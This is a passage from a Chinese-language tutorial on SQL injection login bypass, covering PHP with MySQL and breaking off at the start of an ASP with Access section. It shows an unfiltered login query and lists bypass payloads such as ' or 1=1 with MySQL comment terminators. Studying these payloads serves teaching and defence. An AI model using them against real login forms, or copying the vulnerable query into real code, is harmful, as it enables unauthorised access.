PHP + MySQL 环境下的SQL注入
前提条件:
- 在检测用户名密码时,使用如下形式的SQL语句:
$q = "select * from admin where username='$username' and password='$password'";
- 未对变量进行任何过滤处理,如果过滤了单引号、
or
、and
、#
、--
则无法成功注入,但如果仅仅是开启了GPC(魔术引号),注释仍然可行。
技巧1:利用逻辑运算
’ or ‘’=’
’ or ‘’=’’ or ‘’=
对于某些数据库,它们不会认为“空”等于“空”,在这种情况下,可以在逻辑判断中加入 1=1
条件:
' or 1=1
技巧2:利用MySQL注释
- MySQL支持两种注释格式:单行注释
#
和多行注释/* */
。' or 1=1 /*
' or 1=1 #
' or 1=1 %23
(防止#
在地址栏中变成空格)
ASP + Access 环境下的SQL注入
前提条件:
- SQL语句构造如下:
$q = "select * from admin wher